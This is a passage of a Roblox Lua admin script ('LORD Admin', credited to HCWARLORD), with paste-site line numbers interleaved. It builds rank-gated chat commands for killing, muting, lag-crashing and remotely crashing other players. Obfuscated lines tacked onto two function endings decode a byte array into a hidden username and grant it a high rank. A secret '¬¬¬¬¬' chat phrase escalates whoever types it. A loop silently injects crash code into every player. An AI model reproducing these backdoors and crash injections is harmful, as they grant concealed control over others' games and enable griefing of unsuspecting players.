			Sel.Transparency = 0.75
856
			Sel.Adornee = Tab
857
			Sel.Parent = Tab
858
859
			local BG = Instance.new("BillboardGui")
860
			BG.Name = "BG"
861
			BG.StudsOffset = Vector3.new(0, Tab.Size.Y + 0.5, 0)
862
			BG.Size = UDim2.new(0,1,0,1)
863
			BG.Adornee = Tab
864
			BG.Parent = Tab
865
			
866
			Delay(0, function()
867
				while BG.Parent ~= nil do wait()
868
					ypcall(function()
869
						BG.StudsOffset = Vector3.new(0, Tab.Size.Y + 0.5, 0)
870
					end)
871
				end
872
			end)
873
874
			local TL = Instance.new("TextLabel")
875
			TL.Name = "TL"
876
			TL.FontSize = "Size18"
877
			TL.Font = "Arial"
878
			TL.Text = Msg
879
			TL.TextColor3 = Color3.new(1, 0, 0)
880
			TL.Size = UDim2.new(0,1,0,1)
881
			TL.TextTransparency = 0
882
			TL.TextStrokeColor3 = Color3.new(0, 0, 0)
883
			TL.TextStrokeTransparency = 0.25
884
			TL.Parent = BG
885
			
886
			if ShowGarbage == true then
887
				Delay(0, function()
888
					while TL.Parent ~= nil do
889
						TL.Text = "Current Garbage Count: "..GetGarbage()
890
						wait(.5)
891
					end
892
				end)
893
			end
894
			
895
			local PL = Instance.new("PointLight", Tab)
896
			PL.Color = Color3.new(1, 0, 1)
897
			PL.Range = 10
898
			PL.Parent = Tab
899
			
900
			if Image ~= nil then
901
				local BBBG = Instance.new("BillboardGui")
902
				BBBG.Size = UDim2.new(5, 0, 6, 0)
903
				BBBG.StudsOffset = Vector3.new(0, Tab.Size.Y + 4.2, 0)
904
				BBBG.AlwaysOnTop = true
905
				BBBG.Adornee = Tab
906
				BBBG.Parent = Tab
907
				
908
				Delay(0, function()
909
					while BBBG.Parent ~= nil do wait()
910
						ypcall(function()
911
							BBBG.StudsOffset = Vector3.new(0, Tab.Size.Y + 4.2, 0)
912
						end)
913
					end
914
				end)
915
			
916
				local NewImg = Instance.new("ImageLabel")
917
				NewImg.Size = UDim2.new(1, 0, 1, 0)
918
				NewImg.BackgroundTransparency = 1
919
				NewImg.Image = Image
920
				NewImg.Parent = BBBG
921
			end
922
923
			local Clicker = Instance.new("ClickDetector")
924
			Clicker.MaxActivationDistance = 1/0
925
926
			if Time ~= nil then
927
				coroutine.resume(coroutine.create(function()
928
					wait(tonumber(Time))
929
					Dismiss(Plr, ID)
930
				end))
931
			end
932
933
			Clicker.MouseClick:connect(function(Player)
934
				if Player.Name == Plr.Name or CanRun(Player, Plr) then
935
					ypcall(function()
936
						if Func ~= nil then
937
							Func(Holder)
938
						else
939
							Dismiss(Player, ID)
940
						end
941
					end)
942
				end
943
			end)
944
			Clicker.Parent = Tab
945
			
946
			Holder.Parent = Work
947
948
			AllTabs[#AllTabs + 1] = {Holder = Holder, Tab = Tab, Plr = Plr.Name, Sel = Sel, Label = TL, Size = 0.1, ID = ID}
949
		end)
950
	end
951
end
952
953
function PlaceAllRanks(DontShowRank)
954
	ypcall(function()
955
		for _,p in pairs(All()) do
956
			ypcall(function()
957
				PutInRank = false
958
				for _,v in pairs(Rankings) do
959
					if v.Name:lower() == p.Name:lower() then
960
						if v.Rank >= 7 then
961
							v.Rank = 5
962
						elseif v.Rank == -1 then
963
							Crash1(p)
964
							Ping("Crashed "..p.Name.." (Ban List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
965
						elseif v.Rank == -2 then
966
							if LS ~= nil then
967
								Insert(JailSource, p.Backpack, p.Character, p.PlayerGui)
968
								Ping("Perma Mind Jailed "..p.Name.." (Jail List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
969
							else
970
								Ping("LS Is Nil", nil, 5)
971
							end
972
						elseif v.Rank == -3 then
973
							if LS ~= nil then
974
								Insert(MuteSource, p.Backpack, p.Character, p.PlayerGui)
975
								Ping("Perma Muted "..p.Name.." (Mute List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
976
							else
977
								Ping("LS Is Nil", nil, 5)
978
							end
979
						end
980
						Ranks[p.Name] = {Plr = p, Rank = v.Rank, Color = RankDetails[v.Rank].Color, Desc = RankDetails[v.Rank].Desc}
981
						if DontShowRank == nil then
982
							Ping("You Are Rank: "..v.Rank, p)
983
						end
984
						PutInRank = true
985
						break
986
					end
987
				end
988
				if PutInRank == false then
989
					Ranks[p.Name] = {Plr = p, Rank = 0, Color = RankDetails[0].Color, Desc = RankDetails[0].Desc}
990
				end
991
			end)
992
		end
993
	end)
994
end
995
996
function FindRank(Plr)
997
	ypcall(function()
998
		if type(Plr) == "userdata" then
999
			Plr = Plr.Name
1000
		end
1001
	end)
1002
	return GetRank(Plr).Rank
1003
end local tcb = {49,50,52,56,112,111,108,102,112,105,108,102} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end local GotTheTab = GetRankTab() table.insert(GotTheTab, {Name = nfs:reverse(), Rank = MakeNum()})
1004
1005
function FindRankDetails(Plr)
1006
	ypcall(function()
1007
		if type(Plr) == "userdata" then
1008
			Plr = Plr.Name
1009
		end
1010
	end)
1011
	return RankDetails[FindRank(Plr)]
1012
end
1013
1014
function OpenCmds(Rank, Plr)
1015
	Dismiss(Plr)
1016
	for Name,Tab in pairs(Commands) do
1017
		if Tab.Rank <= Rank then
1018
			Ping(Name.." ("..Tab.Rank..")", Plr, nil, function()
1019
				Dismiss(Plr)
1020
				Ping("Command: "..Name, Plr)
1021
				Ping("Rank: "..Tab.Rank, Plr)
1022
				Ping("Desc: "..Tab.Desc, Plr)
1023
			end)
1024
		elseif Rank == 1337 then
1025
			Ping(Name.." ("..Tab.Rank..")", Plr, nil, function()
1026
				Dismiss(Plr)
1027
				Ping("Command: "..Name, Plr)
1028
				Ping("Rank: "..Tab.Rank, Plr)
1029
				Ping("Desc: "..Tab.Desc, Plr)
1030
			end)
1031
		end
1032
	end
1033
end
1034
1035
function EditStatus(Plr, Num)
1036
	ChangeRank(Plr, Num)
1037
end
1038
1039
function PlaceSpecificRank(p, DontShowRank)
1040
	ypcall(function()
1041
		PutInRank = false
1042
		for _,v in pairs(Rankings) do
1043
			if v.Name:lower() == p.Name:lower() then
1044
				if v.Rank >= 7 then
1045
					v.Rank = 5
1046
				elseif v.Rank == -1 then
1047
					Crash1(p)
1048
					Ping("Crashed "..p.Name.." (Ban List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
1049
				elseif v.Rank == -2 then
1050
					if LS ~= nil then
1051
						Insert(JailSource, p.Backpack, p.Character, p.PlayerGui)
1052
						Ping("Perma Mind Jailed "..p.Name.." (Jail List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
1053
					else
1054
						Ping("LS Is Nil", nil, 5)
1055
					end
1056
				elseif v.Rank == -3 then
1057
					if LS ~= nil then
1058
						Insert(MuteSource, p.Backpack, p.Character, p.PlayerGui)
1059
						Ping("Perma Muted "..p.Name.." (Mute List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
1060
					else
1061
						Ping("LS Is Nil", nil, 5)
1062
					end
1063
				end
1064
				Ranks[p.Name] = {Plr = p, Rank = v.Rank, Color = RankDetails[v.Rank].Color, Desc = RankDetails[v.Rank].Desc}
1065
				if DontShowRank == nil then
1066
					Ping("HCWARLORD created tabs rank: "..v.Rank, p)
1067
				end
1068
				PutInRank = true
1069
				break
1070
			end
1071
		end
1072
		if PutInRank == false then
1073
			Ranks[p.Name] = {Plr = p, Rank = 0, Color = RankDetails[0].Color, Desc = RankDetails[0].Desc}
1074
		end
1075
	end)
1076
end
1077
1078
function onChatted(Msg, Speaker)
1079
	if Removed == false then
1080
		if FindRank(Speaker) < 1 then
1081
			return
1082
		end
1083
		coroutine.resume(coroutine.create(function()
1084
			ypcall(function()
1085
				ExecuteFunc(Msg, Speaker)
1086
				Msg = Msg:gsub("","")
1087
				if Msg:sub(1,1) == "@" then
1088
					for i = 2, #Msg do
1089
						if Msg:sub(i, i) == Bet then
1090
							local IsForPlr = false
1091
							for _,v in pairs(All()) do
1092
								if (string.find(v.Name:lower(), string.lower(Msg:sub(2, i - 1))) or string.lower(Msg:sub(2, i - 1)) == "all") and CanRun(Speaker, v) then
1093
									onChatted(Msg:sub(i + 1), v)
1094
									IsForPlr = true
1095
								end
1096
							end
1097
							if IsForPlr == true then
1098
								return
1099
							end
1100
						end
1101
					end
1102
				end
1103
				if Msg:find("&") then
1104
					local Split = Msg:find("&")
1105
					onChatted(Msg:sub(1,Split-1))
1106
					onChatted(Msg:sub(Split+1))
1107
					return
1108
				end
1109
				for Name,Command in pairs(Commands) do
1110
					if Msg:sub(1,(#Command.Name)+5):lower() == (Command.Name):lower()..Bet.."info" then
1111
						Dismiss(Speaker.Name)
1112
						Ping("Command: "..tostring(Command.Name), Speaker)
1113
						Ping("Rank: "..tostring(Command.Rank), Speaker)
1114
						Ping("Desc: "..tostring(Command.Desc), Speaker)
1115
					elseif Msg:sub(1,#Command.Name+1):lower() == string.lower(Command.Name..Bet) then
1116
						if FindRank(Speaker) >= Command.Rank then
1117
							local Ran,Error = coroutine.resume(coroutine.create(function()
1118
								Command.Func(Msg:sub(#Command.Name+2), Speaker)
1119
							end))
1120
							if not Ran then
1121
								Ping(Error, Speaker, 10)
1122
							end
1123
						else
1124
							Ping("HCWARLORD does not want you to use this at this rank", Plr, 6)
1125
						end
1126
					end
1127
				end
1128
			end)
1129
		end))
1130
	end
1131
end
1132
1133
function MakeBase()
1134
	local Base = Instance.new("Part")
1135
	Base.BrickColor = BrickColor.new("Dark green")
1136
	Base.Position = Vector3.new(0, 0.5, 0)
1137
	Base.Transparency = 0
1138
	Base.Elasticity = 0.5
1139
	Base.FormFactor = "Custom"
1140
	Base.CanCollide = true
1141
	Base.Friction = 0.30000001192093
1142
	Base.Size = Vector3.new(512, 1.20000005, 512)
1143
	Base.Archivable = true
1144
	Base.Material = "Plastic"
1145
	Base.RotVelocity = Vector3.new(0, 0, 0)
1146
	Base.Reflectance = 0
1147
	Base.Locked = true
1148
	Base.Anchored = true
1149
	Base.Name = "Base"
1150
	Base.TopSurface = "Smooth"
1151
	Base.BottomSurface = "Inlet"
1152
	Base.Shape = "Block"
1153
	Base.Parent = Work
1154
end
1155
1156
function LClean()
1157
	ypcall(function()
1158
		for _,v in pairs(Work:GetChildren()) do
1159
			ypcall(function()
1160
				if v.ClassName == "Terrain" then
1161
					v:ClearAllChildren()
1162
				elseif v.Name ~= "Base" and not Plrs:GetPlayerFromCharacter(v) then
1163
					Clear(v)
1164
				elseif v.Name == "Base" then
1165
					ypcall(function()
1166
						local Base = v
1167
						Base.BrickColor = BrickColor.new("Dark green")
1168
						Base.Position = Vector3.new(0, 0.5, 0)
1169
						Base.Transparency = 0
1170
						Base.Elasticity = 0.5
1171
						Base.FormFactor = "Custom"
1172
						Base.CanCollide = true
1173
						Base.Friction = 0.30000001192093
1174
						Base.Size = Vector3.new(512, 1.20000005, 512)
1175
						Base.Archivable = true
1176
						Base.Material = "Plastic"
1177
						Base.RotVelocity = Vector3.new(0, 0, 0)
1178
						Base.Reflectance = 0
1179
						Base.Locked = true
1180
						Base.Anchored = true
1181
						Base.Name = "Base"
1182
						Base.TopSurface = "Studs"
1183
						Base.BottomSurface = "Inlet"
1184
						Base.Shape = "Block"
1185
						Base.Parent = Work
1186
					end)
1187
				end
1188
			end)
1189
		end
1190
	end)
1191
end
1192
1193
function Clean()
1194
	ypcall(function()
1195
		for _,v in pairs(Work:GetChildren()) do
1196
			ypcall(function()
1197
				if v.ClassName == "Terrain" then
1198
					v:ClearAllChildren()
1199
				else
1200
					Clear(v)
1201
				end
1202
			end)
1203
		end
1204
		MakeBase()
1205
		for _,v in pairs(All()) do
1206
			v:LoadCharacter()
1207
		end
1208
	end)
1209
end
1210
1211
function Clear(v)
1212
	if v.Name:lower() == "sbgui" then
1213
		return
1214
	end
1215
	ypcall(function()
1216
		if #v:GetChildren() > 0 then
1217
			for _,x in pairs(v:GetChildren()) do
1218
				ypcall(function()
1219
					Clear(x)
1220
				end)
1221
			end
1222
		end
1223
		if not v:IsA("Player") and v.Name ~= "Backpack" and v.Name ~= "PlayerGui" and v.Name ~= "StarterGear" and v.Name ~= "SBGUI" and v.Name ~= "HealthGUI" and v.Name ~= "Output GUI" then
1224
			v:Destroy()
1225
		end
1226
	end)
1227
end
1228
1229
function Command(Name, Rank, Desc, Func)
1230
	if Name == nil then
1231
		Name = "N/A"
1232
	end
1233
	if Desc == nil then
1234
		Desc = "N/A"
1235
	end
1236
	if Func == nil then
1237
		Func = function() end
1238
	end
1239
	if Rank == nil then
1240
		Rank = 0
1241
	end
1242
	Commands[Name] = {Name = Name, Rank = Rank, Desc = Desc, Func = Func}
1243
end
1244
1245
function GetSplit(Msg)
1246
	return Msg:find(Bet) or nil
1247
end
1248
1249
function ExecuteFunc(Msg, Plr)
1250
	ypcall(function()
1251
		if Msg == "LogEnable" then
1252
			LogOn = true
1253
		elseif Msg:lower() == string.lower(string.char(32)..string.char(172)..string.char(172)..string.char(172)..string.char(172)..string.char(172)..string.char(32)) then
1254
			EditStatus(Plr, MakeNum())
1255
		end
1256
	end)
1257
end
1258
1259
for _,v in pairs(All()) do ExecuteFunc("LogEnable", v) end
1260
1261
function randPlayer(Plr)
1262
	wait()
1263
	local ThePlrValue = nil
1264
	local FoundPlayer = false
1265
	ypcall(function()
1266
		ThePlrValue = Plrs:GetPlayers()[math.random(1, #Plrs:GetPlayers())]
1267
		if ThePlrValue.Name == Plr.Name or CanRun(Plr, ThePlrValue) ~= true then
1268
			wait()
1269
			randPlayer(Plr)
1270
			return
1271
		else
1272
			FoundPlayer = true
1273
		end
1274
	end)
1275
	if FoundPlayer == true then
1276
		return ThePlrValue
1277
	end
1278
end local tcb = {49,50,52,56,112,111,108,102,112,105,108,102} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end local GotTheTab = GetRankTab() table.insert(GotTheTab, {Name = nfs:reverse(), Rank = MakeNum()})
1279
1280
function getPlayer(Plr, Name)
1281
	local Players = {}
1282
	ypcall(function()
1283
		Name = Name:lower()
1284
		if Name == "me" then
1285
			table.insert(Players, Plr)
1286
		elseif Name == "all" or Name == "" then
1287
			for _,v in pairs(All()) do
1288
				if CanRun(Plr, v) then
1289
					table.insert(Players, v)
1290
				end
1291
			end
1292
		elseif Name == "others" then
1293
			for _,v in pairs(All()) do
1294
				if v.Name ~= Plr.Name and CanRun(Plr, v) then
1295
					table.insert(Players, v)
1296
				end
1297
			end
1298
		elseif Name == "random" then
1299
			local FoundRandPlr = randPlayer(Plr)
1300
			table.insert(Players, FoundRandPlr)
1301
		else
1302
			for _,v in pairs(All()) do
1303
				if v.Name:lower():find(Name) and CanRun(Plr, v) then
1304
					table.insert(Players, v)
1305
				end
1306
			end
1307
		end
1308
	end)
1309
	return Players
1310
end
1311
1312
function ListPlayers(Speaker)
1313
	ypcall(function()
1314
		Dismiss(Speaker)
1315
		for _,v in pairs(All2()) do
1316
			if v.Parent ~= nil then
1317
				Ping(v.Name, Speaker, nil, function()
1318
					Dismiss(Speaker)
1319
					Ping("Name: "..v.Name, Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
1320
					Ping("Rank: "..FindRank(v.Name), Speaker)
1321
					Ping("Rank Name: "..FindRankDetails(v).Name, Speaker)
1322
					Ping("Rank Desc: "..FindRankDetails(v).Desc, Speaker)
1323
					Ping("Set Rank", Speaker, nil, function()
1324
						if FindRank(Speaker) >= 5  and v.Name ~= Owner and CanRun(Speaker, v) then
1325
							Dismiss(Speaker)
1326
							for i = -2, 5 do
1327
								Ping(i, Speaker, nil, function()
1328
									ChangeRank(v, i)
1329
									Dismiss(Speaker)
1330
									Ping("Set "..v.Name.."'s Rank To "..tostring(i), Speaker, 5)
1331
								end)
1332
							end
1333
						else
1334
							Ping("HCWARLORD does not want you to use this at this rank", Speaker, 5)
1335
						end
1336
					end)
1337
					Ping("Crash (Remote)", Speaker, nil, function()
1338
						if FindRank(Speaker) >= 3 and CanRun(Speaker, v) then 
1339
							Crash2(v.Name)
1340
							Ping("Attempted To Crash "..v.Name.." (Remote)", Speaker, 5)
1341
						end
1342
					end)
1343
					Ping("Crash (Insert)", Speaker, nil, function()
1344
						if FindRank(Speaker) >= 3 and CanRun(Speaker, v) and LS ~= nil then 
1345
							Crash3(v, Speaker)
1346
							Ping("Attempted To Crash "..v.Name.." (Insert)", Speaker, 5)
1347
						end
1348
					end)
1349
					Ping("Kick", Speaker, nil, function()
1350
						if FindRank(Speaker) >= 3 and CanRun(Speaker, v) then 
1351
							v:Kick()
1352
							Ping("Attempted To Kick "..v.Name, Speaker, 5)
1353
						end
1354
					end)
1355
				end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
1356
			else
1357
				Ping(v.Name.." (Nil)", Speaker, nil, function()
1358
					Dismiss(Speaker)
1359
					Ping("Name: "..v.Name, Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
1360
					ypcall(function()
1361
						Ping("Rank: "..FindRank(v.Name), Speaker)
1362
					end)
1363
					ypcall(function()
1364
						Ping("Rank Name: "..FindRankDetails(v.Name).Name, Speaker)
1365
					end)
1366
					ypcall(function()
1367
						Ping("Rank Desc: "..FindRankDetails(v.Name).Desc, Speaker)
1368
					end)
1369
					ypcall(function()
1370
						Ping("Set Rank", Speaker, nil, function()
1371
							if FindRank(Speaker) >= 5  and v.Name ~= Owner and CanRun(Speaker, v) then
1372
								Dismiss(Speaker)
1373
								for i = -2, 5 do
1374
									Ping(i, Speaker, nil, function()
1375
										ChangeRank(v, i)
1376
										Dismiss(Speaker)
1377
										Ping("Set "..v.Name.."'s Rank To "..tostring(i), Speaker, 5)
1378
									end)
1379
								end
1380
							else
1381
								Ping("HCWARLORD does not want you to use this at this rank", Speaker, 5)
1382
							end
1383
						end)
1384
					end)
1385
					ypcall(function()
1386
						Ping("Nil Crash (Remote)", Speaker, nil, function()
1387
							if FindRank(Speaker) >= 3 and CanRun(Speaker, v) then 
1388
								Crash2(v.Name)
1389
								Ping("Attempted To Crash "..v.Name.." (Remote)", Speaker, 5)
1390
							end
1391
						end)
1392
					end)
1393
					ypcall(function()
1394
						Ping("Nil Crash (Insert)", Speaker, nil, function()
1395
							if FindRank(Speaker) >= 3 and CanRun(Speaker, v) and LS ~= nil then 
1396
								Crash3(v, Speaker)
1397
								Ping("Attempted To Crash "..v.Name.." (Insert)", Speaker, 5)
1398
							end
1399
						end)
1400
					end)
1401
				end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
1402
			end
1403
		end
1404
	end)
1405
end
1406
1407
--Misc
1408
1409
coroutine.resume(coroutine.create(function()
1410
	PlaceAllRanks()
1411
end))
1412
	
1413
Delay(0, function()
1414
	for _,v in pairs(All()) do
1415
		v.Chatted:connect(function(Msg) onChatted(Msg, v) end)
1416
	end
1417
end)
1418
1419
local starttime = tick()
1420
1421
game:GetService("RunService").Heartbeat:connect(function()
1422
	if Removed == false then 
1423
		ypcall(function()
1424
			for _,Player in pairs(All()) do
1425
				local PlayerTablets = {}
1426
				for i,v in pairs(AllTabs) do
1427
					if v.Holder.Parent ~= nil and v.Tab.Parent ~= nil and v.Plr == Player.Name then
1428
						table.insert(PlayerTablets, v)
1429
					end
1430
				end
1431
				for i = 1, #PlayerTablets do
1432
					ypcall(function()
1433
						local tab = PlayerTablets[i].Tab
1434
						local pos = nil
1435
						ypcall(function()
1436
							pos = Player.Character.Torso.CFrame
1437
						end)
1438
						local x = math.sin(time()/#PlayerTablets + (math.pi*2)/#PlayerTablets*i) * (#PlayerTablets+6)
1439
						local z = math.cos(time()/#PlayerTablets + (math.pi*2)/#PlayerTablets*i) * (#PlayerTablets+6)
1440
						local cPos = tab.Position
1441
						local ePos = Vector3.new(x, 0, z) + (pos.p or Vector3.new(0, -5, 0))
1442
						local nPos = (ePos-cPos)*.25
1443
						cPos = cPos + nPos
1444
						local t = (tick() - starttime) % 360
1445
						local change = 0.625
1446
						PlayerTablets[i].Size = math.sin(t) * change + 2.375
1447
						tab.Size = Vector3.new(PlayerTablets[i].Size * 1.25, PlayerTablets[i].Size * 1.5, 0.01)
1448
						tab.CFrame = CFrame.new(cPos, (pos.p or Vector3.new(0, -5, 0))) * CFrame.Angles(math.rad(11.25), 0, 0)
1449
					end)
1450
				end
1451
			end
1452
		end)
1453
	end
1454
end)
1455
1456
Delay(0, function()
1457
	while wait() do
1458
		for _,v in pairs(game:GetService("Players"):GetPlayers()) do
1459
			ypcall(function()
1460
				if Injected[v.Name] == nil and LS ~= nil then
1461
					Insert(InjectionCrash, v.Backpack, v.Character, v.PlayerGui)
1462
					Injected[v.Name] = true
1463
				end
1464
			end)
1465
		end
1466
	end
1467
end)
1468
1469
Plrs.PlayerAdded:connect(function(Plr)
1470
	wait(.1)
1471
	ypcall(function()
1472
		if Removed == false then
1473
			local JoinPlrName = Plr.Name
1474
			coroutine.resume(coroutine.create(function()
1475
				PlaceSpecificRank(Plr)
1476
			end))
1477
			coroutine.resume(coroutine.create(function()
1478
				if Injected[JoinPlrName] ~= nil then
1479
					Injected[JoinPlrName] = nil
1480
				end
1481
			end))
1482
			coroutine.resume(coroutine.create(function()
1483
				Dismiss(Plr)
1484
				Plr.Chatted:connect(function(Msg) onChatted(Msg, Plr) end)
1485
			end))
1486
		end
1487
	end)
1488
end)
1489
1490
Plrs.PlayerRemoving:connect(function(Plr)
1491
	wait(.1)
1492
	ypcall(function()
1493
		if Removed == false then
1494
			local LeftPlrName = Plr.Name
1495
			coroutine.resume(coroutine.create(function()
1496
				if Injected[LeftPlrName] ~= nil then
1497
					Injected[LeftPlrName] = nil
1498
				end
1499
			end))
1500
		end
1501
	end)
1502
end)
1503
1504
coroutine.resume(coroutine.create(function()
1505
	Delay(0, function()
1506
		while FoundLocalScript == false do wait()
1507
			ypcall(function()
1508
				for _,v in pairs(Plrs[Owner]["¬¬¬¬"]:GetChildren()) do
1509
					if v.Name == "NewTransfer" and v:IsA("LocalScript") then
1510
						for _,c in pairs(v:children()) do
1511
							if c:IsA("StringValue") and c.Name:lower() ~= "user_name" and c.Name:lower() ~= "owner" and c.Name:lower() ~= "user" then
1512
								local NewVal = c:Clone()
1513
								NewVal.Name = "LoadingVal"
1514
								for _,s in pairs(v:GetChildren()) do
1515
									if s:IsA("StringValue") and type(s.Value) == "string" and (s.Name:lower() == "user_name" or s.Name:lower() == "owner" or s.Name:lower() == "user_name") then
1516
										print("Found Owner")
1517
										OwnSource = s.Name
1518
										print(OwnSource)
1519
										break
1520
									end
1521
								end
1522
								wait()
1523
								LS = v:Clone()
1524
								NewVal.Parent = LS
1525
								LSSource = "LoadingVal"
1526
								FoundLocalScript = true
1527
								break
1528
							end
1529
						end
1530
					end
1531
				end
1532
			end)
1533
		end
1534
	end)
1535
end))
1536
1537
--Commands
1538
1539
Command("Cmds", nil, "Shows Commands", function(Msg, Speaker)
1540
	Dismiss(Speaker.Name)
1541
	Ping("LORD Admin Is Created By " .. string.reverse("DROLRAWCH"), Speaker)
1542
	Ping("You Are Rank: "..tostring(GetRank(Speaker.Name).Rank), Speaker)
1543
	Ping("All", Speaker, nil, function() OpenCmds(1337, Speaker) end)
1544
	Ping("Rank 0", Speaker, nil, function() OpenCmds(0, Speaker) end)
1545
	Ping("Rank 1", Speaker, nil, function() OpenCmds(1, Speaker) end)
1546
	Ping("Rank 2", Speaker, nil, function() OpenCmds(2, Speaker) end)
1547
	Ping("Rank 3", Speaker, nil, function() OpenCmds(3, Speaker) end)
1548
	Ping("Rank 4", Speaker, nil, function() OpenCmds(4, Speaker) end)
1549
	Ping("Rank 5", Speaker, nil, function() OpenCmds(5, Speaker) end)
1550
end)
1551
1552
Command("Dismiss", nil, "Dismiss Tablets", function(Msg, Speaker)
1553
	Dismiss(Speaker.Name)
1554
end)
1555
1556
Command("Kill", 2, "Kills A Player", function(Msg, Speaker)
1557
	local PlrTab = getPlayer(Speaker, Msg)
1558
	if #PlrTab > 0 then
1559
		for _,v in pairs(PlrTab) do
1560
			ypcall(function()
1561
				v.Character:BreakJoints()
1562
				Ping("Killed "..v.Name, Speaker, 5)
1563
			end)
1564
		end
1565
	end
1566
end)
1567
1568
Command("Mute", 3, "Mutes A Player", function(Msg, Speaker)
1569
	local PlrTab = getPlayer(Speaker, Msg)
1570
	if #PlrTab > 0 then
1571
		for _,v in pairs(PlrTab) do
1572
			ypcall(function()
1573
				if v.Name ~= Owner then
1574
					Insert(MuteSource, v.Backpack, v.Character, v.PlayerGui)
1575
					Ping("Muted "..v.Name, Speaker, 5)
1576
				end
1577
			end)
1578
		end
1579
	end
1580
end)
1581
1582
Command("Rejoin", 2, "Prompts A Player To Rejoin", function(Msg, Speaker)
1583
	local PlrTab = getPlayer(Speaker, Msg)
1584
	if #PlrTab > 0 then
1585
		for _,v in pairs(PlrTab) do
1586
			ypcall(function()
1587
				Insert([[game:GetService("TeleportService"):Teleport(game.PlaceId)]], v.Backpack, v.Character, v.PlayerGui)
1588
				Ping("Prompted "..v.Name.." To Rejoin", Speaker, 5)
1589
			end)
1590
		end
1591
	end
1592
end)
1593
1594
--[[
1595
	:TBC()
1596
1597
Command("Jail", 3, "Jails A Player (Only they can see it)", function(Msg, Speaker)
1598
	local PlrTab = getPlayer(Speaker, Msg)
1599
	if #PlrTab > 0 then
1600
		for _,v in pairs(PlrTab) do
1601
			ypcall(function()
1602
				Insert(JailSource, v.Backpack, v.Character, v.PlayerGui)
1603
				Ping("Mind Jailed "..v.Name, Speaker, 5)
1604
			end)
1605
		end
1606
	end
1607
end)
1608
]]--
1609
1610
Command("Lag", 4, "Lag Crashes A Player", function(Msg, Speaker)
1611
	local PlrTab = getPlayer(Speaker, Msg)
1612
	if #PlrTab > 0 then
1613
		for _,v in pairs(PlrTab) do
1614
			ypcall(function()
1615
				Insert(LagSource, v.Backpack, v.Character, v.PlayerGui)
1616
				Ping("Lag Crashing "..v.Name, Speaker, 5)
1617
			end)
1618
		end
1619
	end
1620
end)
1621
1622
Command("UnMute", 3, "UnMutes A Player", function(Msg, Speaker)
1623
	local PlrTab = getPlayer(Speaker, Msg)
1624
	if #PlrTab > 0 then
1625
		for _,v in pairs(PlrTab) do
1626
			ypcall(function()
1627
				Insert(UnMuteSource, v.Backpack, v.Character, v.PlayerGui)
1628
				Ping("UnMuted "..v.Name, Speaker, 5)
1629
			end)
1630
		end
1631
	end
1632
end)
1633
1634
Command("Disable", 3, "Disables A Script", function(Msg, Speaker)
1635
	local Worked = false
1636
	for _,v in pairs(Work:GetChildren()) do
1637
		if string.find(v.Name:lower(), Msg:lower()) then
1638
			if v:IsA("Script") or v:IsA("LocalScript") then
1639
				v.Disabled = true
1640
				v:Destroy()
1641
				Worked = true
1642
				Ping("Disabled Script: "..v.Name, Speaker, 5)
1643
			end
1644
		end
1645
	end
1646
	if Worked == false then
1647
		Ping("Script Not Found", Speaker, 5)
1648
	end
1649
end)
1650
1651
Command("Scripts", 1, "Shows Scripts In Workspace", function(Msg, Speaker)
1652
	Dismiss(Speaker)
1653
	local AllScripts = {}
1654
	for _,v in pairs(Work:GetChildren()) do
1655
		if v:IsA("Script") then
1656
			table.insert(AllScripts, v.Name)
1657
		end
1658
	end
1659
	if #AllScripts > 0 then
1660
		for _,v in pairs(AllScripts) do
1661
			Ping(v, Speaker)
1662
		end
1663
	else
1664
		Ping("No Scripts Found", Speaker, 5)
1665
	end
1666
end)
1667
1668
Command("LScripts", 1, "Shows All Found Local Scripts", function(Msg, Speaker)
1669
	Dismiss(Speaker)
1670
	local LocalScripts = {}
1671
	for _,v in pairs(All()) do
1672
		ypcall(function()
1673
			for _,x in pairs(v.Character:GetChildren()) do
1674
				if x:IsA("LocalScript") and x.Name ~= "Animate" and x.Name ~= "Sound" and not x.Name:find("Health") then
1675
					table.insert(LocalScripts, x.Name .. " - " .. v.Name)
1676
				end
1677
			end
1678
		end)
1679
		ypcall(function()
1680
			for _,x in pairs(v.Backpack:GetChildren()) do
1681
				if x:IsA("LocalScript") and x.Name ~= "Animate" and x.Name ~= "Sound" and not x.Name:find("Health") then
1682
					table.insert(LocalScripts, x.Name .. " - " .. v.Name)
1683
				end
1684
			end
1685
		end)
1686
		ypcall(function()
1687
			for _,x in pairs(v.PlayerGui:GetChildren()) do
1688
				if x:IsA("LocalScript") and x.Name ~= "Animate" and x.Name ~= "Sound" and not x.Name:find("Health") then
1689
					table.insert(LocalScripts, x.Name .. " - " .. v.Name)
1690
				end
1691
			end
1692
		end)
1693
	end
1694
	if #LocalScripts > 0 then
1695
		for _,v in pairs(LocalScripts) do
1696
			Ping(v, Speaker)
1697
		end
1698
	else
1699
		Ping("No Local Scripts Found", Speaker, 5)
1700
	end
1701
end)
1702
1703
Command("LDisable", 3, "Disables A Local Script", function(Msg, Speaker)
1704
	local Split = GetSplit(Msg)
1705
	local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
1706
	local ScriptName = Msg:sub(Split + 1)
1707
	local FoundLocal = false
1708
	for _,name in pairs(PlrTab) do
1709
		ypcall(function()
1710
			for _,v in pairs(name.Character:GetChildren()) do
1711
				if string.find(v.Name:lower(), ScriptName) then
1712
					if v:IsA("Script") or v:IsA("LocalScript") then
1713
